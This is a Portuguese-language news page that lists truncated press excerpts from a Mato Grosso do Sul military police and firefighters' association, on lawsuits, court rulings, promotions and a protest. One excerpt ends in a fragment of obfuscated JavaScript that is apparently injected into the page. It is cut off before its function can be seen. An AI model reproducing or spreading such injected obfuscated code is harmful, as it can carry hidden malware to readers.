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O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, teceu duras críticas ao projeto que define em quais as situações será configurado o crime de abuso de autoridade. Ele participou, na tarde desta segunda-feira (18), de um ato de protesto contra a proposta realizado em frente ao Fórum de Campo Grande. “Realmente, nós, policiais militares, que somos a linha de frente, estamos algemados. Da maneira como está, estamos respondendo sindicância sobre sindicância. Imagina se esse projeto for para frente, o que nós faremos? Quem vai pagar essa conta é a sociedade”, avisou Couto. No último dia 14, a Câmara dos Deputados aprovou um regime de urgência para o projeto e, horas depois, realizou uma votação simbó...

O ministro Nefi Cordeiro, do STJ (Superior Tribunal de Justiça), decidiu que o policial militar da ativa, em seu horário de folga e fora do local de serviço, ou seja, fora do local sob os auspícios da Policia Militar, não comete crime militar, e sim crime comum. A decisão foi tomada em julgamento de um Habeas Corpus impetrado pela assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) em favor de um sócio. “Trata-se de uma decisão inédita quando se trata de competência da Justiça Militar Estadual, uma vez que a defesa sempre insistiu com a tese de que a Justiça Militar Estadual não era competente para processar e julgar policiais militares que teriam cometido crime fora do horário de trabalho e em locais não subordinado...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) está auxiliando os candidatos que pretendem entrar com recurso contra o resultado do Exame de Capacidade Física. O prazo termina hoje (13), às 17h. Reclamações de alguns candidatos indicam que a Fapems, organizadora do concurso para soldados e oficiais da Polícia Militar e do Corpo de Bombeiros, cometeu possíveis irregularidades nas filmagens e cronometragem individual da prova de corrida. Em alguns dos vídeos, que serviriam para os candidatos saberem seus tempos de prova, sequer aparecem os tempos registrados. Os interessados podem procurar a sede da ACS, que fica na Rua Joaquim Manoel de Souza, 67 - Vila Olinda. Mais informações pelo telefone (67) 3387-8501 Jeozadaque Garcia Assess...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) solicitou à Sejusp (Secretaria de Estado de Justiça e Segurança Pública) cópia do Termo de Cooperação que liberou acesso de profissionais da advocacia ao Sigo (Sistema Integrado de Gestão Operacional). O documento, assinado pelo presidente da entidade, cabo Mario Sérgio Couto, foi protocolado esta manhã na própria Secretaria. Nele, o representante dos policiais militares e bombeiros reforça a necessidade de acesso ao Termo para esclarecer alguns pontos aos associados. A medida atende pedido da OAB/MS (Ordem dos Advogados do Brasil) em Mato Grosso do Sul. Para o presidente da Ordem, o ato abre mais um canal de trabalho para a advocacia. Para ele, segundo o site Campo Grande News, é um pa...

A 1ª Câmara Cível do TJMS (Tribunal de Justiça de Mato Grosso do Sul) julgou, nesta segunda-feira (05), improcedente um mandado de segurança que havia sido impetrado pela categoria dos procuradores e, desta forma, destravou as promoções na Polícia Militar, Corpo de Bombeiros e Polícia Civil. Segundo o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, o mandado impedia a concessão de promoções aos servidores estaduais. Agora, ele explica, não há restrição alguma para o Governo finalmente colocar em dia as promoções na PM e BM. Jeozadaque Garcia Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x302...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) ajuizou, nesta segunda-feira (22), uma ação coletiva requerendo a reposição inflacionária dos últimos cinco anos para os associados. Segundo o presidente da entidade, cabo Mário Sérgio Couto, não se trata de uma “afronta”, mas, sim, de uma luta por direitos garantidos na Constituição. “É um direito nosso. Não fazemos nenhuma afronta, apenas queremos o que é nosso por direito. Essa ação é específica aos associados, pois tenho legitimidade, como presidente, apenas para os associados”, explicou. O pedido foi ajuizado na Vara de Fazenda Pública e Registros Públicos da Comarca de Campo Grande, pelo advogado Edmar Soares da Silva. Nos últimos cinco anos, os militares estaduais amargam grand...